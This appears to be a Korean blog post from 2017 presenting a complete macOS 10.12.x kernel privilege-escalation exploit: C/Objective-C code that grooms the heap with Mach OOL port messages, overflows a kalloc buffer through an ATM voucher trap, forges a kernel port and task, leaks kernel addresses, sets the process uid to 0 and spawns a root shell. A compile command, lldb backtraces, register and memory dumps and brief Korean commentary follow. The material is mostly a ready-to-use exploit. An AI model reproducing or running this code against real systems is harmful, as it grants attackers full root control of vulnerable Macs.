MacOS 10.12.2 (OSX) 보안 취약점 공격 코드 2

by digipine posted Nov 02, 2017
?

Shortcut

PrevPrev Article

NextNext Article

ESCClose

Larger Font Smaller Font Up Down Go comment Print

 

#define PORT_COUNT 1024

#define USE_PORT_START 384

#define USE_PORT_HALF 512

#define USE_PORT_END 640

#define IO_BITS_ACTIVE 0x80000000

#define IKOT_CLOCK 25

#define IKOT_TASK 2

#define lck_spin_t char

#define TASK_GAP_IN_PROC 24

#define CR_RUID_GAP_IN_UCRED 24

#define TASK_GAP_IN_IPC_OBJ 104

#define ITK_KERN_SSELF_GAP_IN_TASK 232

#define UCRED_GAP_IN_PROCESS 232

#define TASK_INFO_GAP 896

 

#import <stdio.h>

#import <stdlib.h>

#import <mach/mach.h>

#import <atm/atm_types.h>

#import <sys/mman.h>

  

/* FROM osfmk/ipc/ipc_object.h -*/

typedef natural_t ipc_object_bits_t;

typedef natural_t ipc_object_refs_t;

  

typedef struct _ipc_object{

    ipc_object_bits_t io_bits;

    ipc_object_refs_t io_references;

    lck_spin_t io_lock_data[1024];

}ipc_object;

/* ----------------------------*/

  

typedef struct _dumpdata{

    char* dump_port;

    char* dump_task;

    uint64_t dump_itk_kern_sself;

}dumpdata;

  

struct ool_send_msg{

    mach_msg_header_t msg_head;

    mach_msg_body_t msg_body;

    mach_msg_ool_ports_descriptor_t msg_ool_ports[16];

};

  

struct ool_recv_msg{

    mach_msg_header_t msg_head;

    mach_msg_body_t msg_body;

    mach_msg_ool_ports_descriptor_t msg_ool_ports[16];

    mach_msg_trailer_t msg_trailer;

};

  

struct ool_send_msg send_msg;

struct ool_recv_msg recv_msg;

mach_port_t* ool_port_fengshui(){

    int current_port_num = 0;

    mach_port_t* ool_ports;

    ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));

  

    // Part 1. Create OOL Ports

    for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports

        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port

        mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.

    }

  

    // Part 2. Create Message Buffer (Spray)

    mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));

  

    for(int i = 0; i <= 1024; i++){

        use_ports[i] = MACH_PORT_DEAD;

    }

  

    /* Set MSG HEADER */

    send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);

    send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;

    send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;

    send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND

    send_msg.msg_head.msgh_reserved = 0x00;

    send_msg.msg_head.msgh_id = 0x00;

    

    /* SET MSG BODY */

    send_msg.msg_body.msgh_descriptor_count = 1;

    

    /* SET MSG OOL PORT DESCRIPTOR */

    for(int i = 0; i<=16; i++){ // appropriate ipc-send size  

        send_msg.msg_ool_ports[i].address = use_ports;

        send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)

        send_msg.msg_ool_ports[i].deallocate = 0x00;

        send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;

        send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;

        send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    }

  

    // Part 3. Message Fengshui

    /* SEND MSG */

    for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

  

    /* RECV MSG */

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){

        recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];

        kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(recv_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui recv\nError : %s\n", mach_error_string(recv_result));

            exit(1);

        }

    }

  

    /* RE-SEND MSG */

    for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){

        send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        if(send_result != KERN_SUCCESS){

            printf("[-] Error in OOL Fengshui re-send\nError : %s\n", mach_error_string(send_result));

            exit(1);

        }

    }

    

    printf("[+] OOL Port Fengshui Success\n");

    return ool_ports;

}

  

/* ---- FROM Crash PoC ---- */

uint64_t map(uint64_t size) {

    uint64_t _addr = 0x00;

    kern_return_t err = mach_vm_allocate(mach_task_self(), &_addr, size, VM_FLAGS_ANYWHERE);

    if (err != KERN_SUCCESS) {

        printf("failed to allocate fixed mapping: %s\n", mach_error_string(err));

        exit(EXIT_FAILURE);

    }

    return _addr;

}

/* ----------------- */

  

/* ---- FROM exp.m ---- */

uint64_t roundup(uint64_t val, uint64_t pagesize) {

    val += pagesize - 1;

    val &= ~(pagesize - 1);

    return val;

}

void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {

    

    int pagesize = getpagesize();

  

    void* recipe_size = (void*)map(pagesize);

    *(uint64_t*)recipe_size = kalloc_size;

  

    uint64_t actual_copy_size = kalloc_size + overflow_length;

    uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;

    uint64_t base = map(alloc_size); // unmap page

   

    uint64_t end = base + roundup(actual_copy_size, pagesize);

    mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop

   

    uint64_t start = end - actual_copy_size;

   

    uint8_t* recipe = (uint8_t*)start;

   

    memset(recipe, 0x41, kalloc_size); // set kalloc size

    memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes

   

    kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger

  

}

/* -------------------- */

  

mach_port_t* find_manipulation_port(mach_port_t* port_list){

    for(int i = 0; i < USE_PORT_END; i++){

        send_msg.msg_head.msgh_local_port = port_list[i];

        kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors

            mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;

            if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)

                printf("[+] Found manipulated port! %dth port : %dth descriptor => %llx\n", i, k, tmp_port[0]);

                return tmp_port[0];

            }

        }

  

    }

  

    printf("[-] Error in Find Manipulated Port\n");

    exit(1);

}

  

uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){

    for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){

        *(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address

        *(uint64_t *)(fake_port + 0xa0) = 0xff;

  

        if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){

            printf("[+] found clock_list addr : %llx\n", guess_clock_addr);

            return (guess_clock_addr);

        }

    }

    printf("[-] Find clock_list addr failed.\n");

    exit(1);

}

  

uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){

    *(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;

    *(uint64_t*) (fake_port + 0xa0) = 0xff;

    *(uint64_t*) (fake_task + 0x10) = 0x01; 

  

    clock_list_addr &= ~(0x3FFF);

  

    for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {

        int32_t kernel_data = 0;

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;

        pid_for_task(manipulated_port, &kernel_data);

        if (kernel_data == 0xfeedfacf) {

            printf("[+] Found kernel_text addr : %llx\n", current_addr);

            return current_addr;

        }

    }

}

  

uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){

    uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;

    

    uint64_t pCurrent = allproc_real_addr;

    uint64_t pNext = pCurrent;

    while (pCurrent != NULL) {

        int nPID = 0;   

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;

        pid_for_task(manipulated_port, (int32_t*)&nPID);

        if (nPID == pid) {

            return pCurrent;

        }

        else{

            *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;

            pid_for_task(manipulated_port, (int32_t*)&pNext);

            *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;

            pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));

            pCurrent = pNext;

        }

    }

  

}

  

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){

    dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));

    data->dump_port = malloc(0x1000);

    data->dump_task = malloc(0x1000);

  

    uint64_t kern_task = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;

    pid_for_task(manipulated_port, (int32_t*)&kern_task);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));

  

    uint64_t itk_kern_sself = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));

    data->dump_itk_kern_sself = itk_kern_sself;

  

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));

    }

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));

    }

    return data;

}

  

void main(void){

    // Create OOL Ports [Fengshui]

    mach_port_t* created_ports = ool_port_fengshui();

  

    // Create ATM Voucher & fakeport => ipc_object [Overflow ready]

    mach_port_t* voucher_port = MACH_PORT_NULL;

    mach_voucher_attr_recipe_data_t atm_data = {

        .key = MACH_VOUCHER_ATTR_KEY_ATM,

        .command = MACH_VOUCHER_ATTR_ATM_CREATE

    };

    kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);

  

    ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port

    void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task

    fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap

    fake_port->io_lock_data[12] = 0x11;

    printf("[+] Create Fake Port. Address : %llx\n", (unsigned long long)fake_port);

    

    // Overflow Trigger

    heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);

    

    // Find manipulated port

    mach_port_t* manipulated_port = find_manipulation_port(created_ports);

  

    // Leak Kernel Address using system clock trap => clock_list

    uint64_t clock_list = get_clock_list_addr((uint64_t) fake_port, manipulated_port);

    fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap

    fake_port->io_references = 0x01; // [osfmk/ipc/ipc_object.c] (cuz of, assert(object->ioreferences > 0) pass) 

    uint64_t kernel_addr = get_kernel_addr((uint64_t) fake_port, fake_task, clock_list, manipulated_port);

  

    // Get my process and kernel process

    uint64_t current_process = get_proc_addr(getpid(), kernel_addr, fake_task, manipulated_port);

    printf("[+] Found current process addr : %llx\n", current_process);

    uint64_t kernel_process = get_proc_addr(0, kernel_addr, fake_task, manipulated_port);

    printf("[+] Found kernel addr : %llx\n", kernel_process);

  

    // Kernel AAR/AAW => kernel taskport & kernel port right

    dumpdata* data = get_kernel_priv(kernel_process, &fake_port, fake_task, manipulated_port);

    memcpy(fake_port, data->dump_port, 0x1000);

    memcpy(fake_task, data->dump_task, 0x1000);

    *(uint64_t*)(((uint64_t)fake_port) + TASK_GAP_IN_IPC_OBJ) = fake_task;

    *(uint64_t*)(((uint64_t)fake_port) + 0xa0) = 0xff;

    *(uint64_t*)(((uint64_t)fake_task) + 0x2b8) = data->dump_itk_kern_sself;

    mach_port_t kernel_port;

    task_get_special_port(manipulated_port, 4, &kernel_port);

    

    // Privilege Esccalation

    uint64_t cred;

    mach_vm_size_t read_bytes = 8;

    mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel

    vm_offset_t root_uid = 0;

    mach_msg_type_number_t write_bytes = 8;

    mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel

    system("/bin/bash"); // Get Shell

   

}

 

 

 

 

Exploit Code (Tested On OS X 10.12.1)

 

Refactored from the reference.

 

 

 

 

 

 

 

컴파일: clang -framework IOKit -framework Foundation -framework CoreFoundation -pagezero_size 0x16000 poc.m -o poc

 

 

 

 

 

 

 

Debugging

 

이전 시리즈를 통해 macOS 커널디버깅을 익히고 나서 이번 내용을 보기 바란다. 이 버그를 디버깅 해 볼 것인데, 트리거 될때마다 컨트롤 플로우가 항상 달라 같은 결과를 보기가 어렵다. 따라하기보다는 어떻게 디버깅을 해서 접근을 하는지에 대한 참고로 사용하기 바란다.

 

 

 

 

 

 

 

(lldb) bt

* thread #2, name = '0xffffff8019752980', queue = '0x0', stop reason = signal SIGSTOP

    frame #0: 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]

    frame #1: 0xffffff801200bb4e kernel`Debugger(message=<unavailable>) at model_dep.c:1025 [opt]

    frame #2: 0xffffff8011ef368c kernel`panic(str="\"a freed zone element has been modified in zone %s: expected %p but found %p, bits changed %p, at offset %d of %d in element %p, cookies %p %p\"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/zalloc.c:651") at debug.c:458 [opt]

    frame #3: 0xffffff8011f3f5c0 kernel`backup_ptr_mismatch_panic [inlined] zone_element_was_modified_panic(offset=0x0000000000000000) at zalloc.c:642 [opt]

    frame #4: 0xffffff8011f3f559 kernel`backup_ptr_mismatch_panic(zone=<unavailable>, element=<unavailable>, primary=0x4141414141414141, backup=<unavailable>) at zalloc.c:710 [opt]

    frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=<unavailable>, check_poison=<unavailable>) at zalloc.c:832 [opt]

    frame #6: 0xffffff8011f3d174 kernel`zalloc_internal(zone=<unavailable>, canblock=1, nopagewait=0) at zalloc.c:2284 [opt]

  * frame #7: 0xffffff8011f84580 kernel`vm_map_copyin_internal at vm_map.c:9428 [opt]

    frame #8: 0xffffff8011f8454d kernel`vm_map_copyin_internal(src_map=<unavailable>, src_addr=140351697002496, len=3240, flags=<unavailable>, copy_result=<unavailable>) at vm_map.c:10279 [opt]

    frame #9: 0xffffff8011ed7629 kernel`ipc_kmsg_copyin_ool_descriptor [inlined] vm_map_copyin_common(src_map=<unavailable>, src_destroy=<unavailable>, copy_result=0xffffff8872c1be40, use_maxprot=0) at vm_map.c:10187 [opt]

    frame #10: 0xffffff8011ed7616 kernel`ipc_kmsg_copyin_ool_descriptor(dsc=0xffffff8018e99498, user_dsc=<unavailable>, is_64bit=<unavailable>, paddr=<unavailable>, copy=0xffffff8872c1be40, space_needed=<unavailable>, map=<unavailable>, mr=<unavailable>) at ipc_kmsg.c:2701 [opt]

    frame #11: 0xffffff8011ed7c25 kernel`ipc_kmsg_copyin_body(kmsg=0xffffff8018e99400, space=0xffffff8018925b40, map=0xffffff801c0e9e08) at ipc_kmsg.c:3035 [opt]

    frame #12: 0xffffff8011ee992f kernel`mach_msg_overwrite_trap(args=<unavailable>) at mach_msg.c:548 [opt]

    frame #13: 0xffffff8011ff26ae kernel`mach_call_munger64(state=0xffffff8018dd12c0) at bsd_i386.c:562 [opt]

    frame #14: 0xffffff8011ea5f66 kernel`hndl_mach_scall64 + 22

 

 

 

 

 

 

 

 

버그가 트리거 되면 여러개의 프레임들이 있는데, 우리는 힙영역을 구경할것이기 때문에 try_alloc_from_zone이 있는 프레임을 선택해 레지스터를 확인해 볼 것이다.

 

 

 

 

 

 

 

(lldb) register read

General Purpose Registers:

       rbx = 0xffffff801f9a3000

       rbp = 0xffffff8872c1bb50

       rsp = 0xffffff8872c1bb10

       r12 = 0x7e415085550ee3c7

       r13 = 0x4141414141414141

       r14 = 0xffffff8017cd74c0

       r15 = 0x4141414141414141

       rip = 0xffffff8011f3e739  kernel`try_alloc_from_zone + 521 at zalloc.c:832

13 registers were unavailable.

 

 

 

 

우선 r13과 r15 레지스터가 우리가 조작한 데이터로 덮혀씌워졌음을 알수있고, rbx는 어떤 객체를 가리키고있다.

 

 

 

 

 

(lldb) memory read $rbx

0xffffff801f9a3000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0xffffff801f9a3010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

 

 

 

 

kalloc으로 할당한 힙 영역임을 알 수 있고, 우리가 넣은 데이터들을 확인 할 수 있다. 이렇게 원하는곳에 Write를 할 수 있으니, Leak을 통해 커널베이스를 알아낼 수 있다면, posix_cred 구조체의 주소를 알아낸후 익스플로잇 하면 된다.

 

posix_cred 구조체를 확인해보도록 할 것이다.

 

 

 

(lldb) image list

[  0] 75CA1C4D-7BF4-321B-B544-D8F1B6D60EF8 0xffffff8011e00000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/kernel

[  1] 4F7FB6AD-2498-3F71-827C-ED7AA4BF2511 0xffffff7f92c0c000 //System/Library/Extensions/IOACPIFamily.kext/Contents/MacOS/IOACPIFamily 

[  2] A55C1363-A09F-3755-9BD3-526A7A2C3B5B 0xffffff7f92732000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext/IOPCIFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOPCIFamily.kext.dSYM/Contents/Resources/DWARF/IOPCIFamily

[  3] EA5D0966-E8EA-337A-98EB-195806E8F723 0xffffff7f92ebe000 //System/Library/Extensions/AppleFDEKeyStore.kext/Contents/MacOS/AppleFDEKeyStore 

[  4] B14DC3D3-7250-3DA3-BF50-C666EBEDAF4C 0xffffff7f932b6000 //System/Library/Extensions/IOReportFamily.kext/Contents/MacOS/IOReportFamily 

[  5] 510A2AD8-C127-34AA-A984-95A82C6AC1DA 0xffffff7f92650000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext/Contents/MacOS/IOStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOStorageFamily

[  6] DB526B45-1A45-3A81-A0C1-57F826CADEDF 0xffffff7f92c15000 //System/Library/Extensions/AppleBusPowerController.kext/Contents/MacOS/AppleBusPowerController 

[  7] 39E90AC4-0FCA-3CBD-80B2-3CBCD82940DC 0xffffff7f92c22000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBHostFamily.kext/Contents/MacOS/IOUSBHostFamily 

[  8] 3B280DAB-903F-33DC-8110-525A1154B11E 0xffffff7f92b2f000 //System/Library/Extensions/AppleMatch.kext/Contents/MacOS/AppleMatch 

[  9] BC2E6D01-BCBB-3525-BF38-BF99C3F1EC46 0xffffff7f93eca000 //System/Library/Extensions/AppleAPIC.kext/Contents/MacOS/AppleAPIC 

[ 10] 9BB02681-4B47-3592-AD62-71FB0BF56965 0xffffff7f93c24000 //System/Library/Extensions/AppleSMBIOS.kext/Contents/MacOS/AppleSMBIOS 

[ 11] 3FD1BCF4-8AFC-3CE6-A36E-26410544AD14 0xffffff7f93c51000 //System/Library/Extensions/AppleRTC.kext/Contents/MacOS/AppleRTC 

[ 12] 185F0EBF-0262-3370-BD47-8FE4C8AA726E 0xffffff7f93242000 //System/Library/Extensions/IOSMBusFamily.kext/Contents/MacOS/IOSMBusFamily 

[ 13] 2CFB49B8-4CC2-320B-9C6E-99646DFD8571 0xffffff7f93e5c000 //System/Library/Extensions/AppleHPET.kext/Contents/MacOS/AppleHPET 

[ 14] 1A48D920-280E-36FA-8D48-49B79A5656E6 0xffffff7f92ec9000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext/Contents/MacOS/IOHIDFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOHIDFamily.kext.dSYM/Contents/Resources/DWARF/IOHIDFamily

[ 15] 365596E4-A771-3427-B576-DB02D03FAEFE 0xffffff7f92dfe000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext/Contents/MacOS/IOUSBFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOUSBFamily.kext.dSYM/Contents/Resources/DWARF/IOUSBFamily

[ 16] 6326DB88-5330-3F0C-91F6-D478AB5E7503 0xffffff7f92d8a000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext/Contents/MacOS/IONetworkingFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IONetworkingFamily.kext.dSYM/Contents/Resources/DWARF/IONetworkingFamily

[ 17] 34B30414-098D-3D22-AAB5-1A754D0647C6 0xffffff7f93356000 //System/Library/Extensions/IONetworkingFamily.kext/Contents/PlugIns/AppleIntel8254XEthernet.kext/Contents/MacOS/AppleIntel8254XEthernet 

[ 18] BDC5E432-B04E-3ACF-A213-672128140381 0xffffff7f93705000 //System/Library/Extensions/IOATAFamily.kext/Contents/PlugIns/AppleIntelPIIXATA.kext/Contents/MacOS/AppleIntelPIIXATA 

[ 19] 5C275B66-A173-3D92-853A-44FC35D45FFC 0xffffff7f93717000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/MacOS/IOAHCIFamily 

[ 20] BE72151C-73BE-35B7-8C31-74F49E4C5E98 0xffffff7f93ecf000 //System/Library/Extensions/AppleAHCIPort.kext/Contents/MacOS/AppleAHCIPort 

[ 21] C449634B-8121-3BFB-972D-966847C4321F 0xffffff7f93741000 //System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage 

[ 22] 0E35A335-5605-36FB-991C-D0D38F4FA4E7 0xffffff7f926ef000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/MacOS/IOSCSIArchitectureModelFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext.dSYM/Contents/Resources/DWARF/IOSCSIArchitectureModelFamily

[ 23] 4A92621E-97C8-3AB4-8E25-C540967F573C 0xffffff7f93262000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext/Contents/MacOS/SCSITaskUserClient 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/SCSITaskUserClient.kext.dSYM/Contents/Resources/DWARF/SCSITaskUserClient

[ 24] 9EEF7CF2-673C-3743-84DD-D3B3D5E61DDB 0xffffff7f9326d000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext/Contents/MacOS/IOCDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOCDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOCDStorageFamily

[ 25] 9BC77405-09A3-3398-AE63-98894C42E288 0xffffff7f9327e000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext/Contents/MacOS/IODVDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IODVDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IODVDStorageFamily

[ 26] EE071733-F836-360B-958B-440E2CCF81E1 0xffffff7f9328c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext/Contents/MacOS/IOBDStorageFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOBDStorageFamily.kext.dSYM/Contents/Resources/DWARF/IOBDStorageFamily

[ 27] 315023CC-5BBD-3C98-947C-56D52D1C50F6 0xffffff7f93298000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext/Contents/MacOS/IOSCSIMultimediaCommandsDevice 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSCSIArchitectureModelFamily.kext/Contents/PlugIns/IOSCSIMultimediaCommandsDevice.kext.dSYM/Contents/Resources/DWARF/IOSCSIMultimediaCommandsDevice

[ 28] D01B501C-E5B8-36AC-930C-978C205EFEFF 0xffffff7f92b6c000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext/IOGraphicsFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOGraphicsFamily.kext.dSYM/Contents/Resources/DWARF/IOGraphicsFamily

[ 29] C0ABF85C-CA30-3F02-9E1E-06F3BA5047A8 0xffffff7f938fa000 //System/Library/Extensions/vecLib.kext/Contents/MacOS/vecLib 

[ 30] 03A8E3F2-F30D-3D41-85E7-0B1C58034419 0xffffff7f9398f000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext.dSYM/Contents/Resources/DWARF/IOAudioFamily

[ 31] F39509A4-191C-35DA-B7D9-08F95E5AB8BC 0xffffff7f93a7b000 //System/Library/Extensions/AppleUpstreamUserClient.kext/Contents/MacOS/AppleUpstreamUserClient 

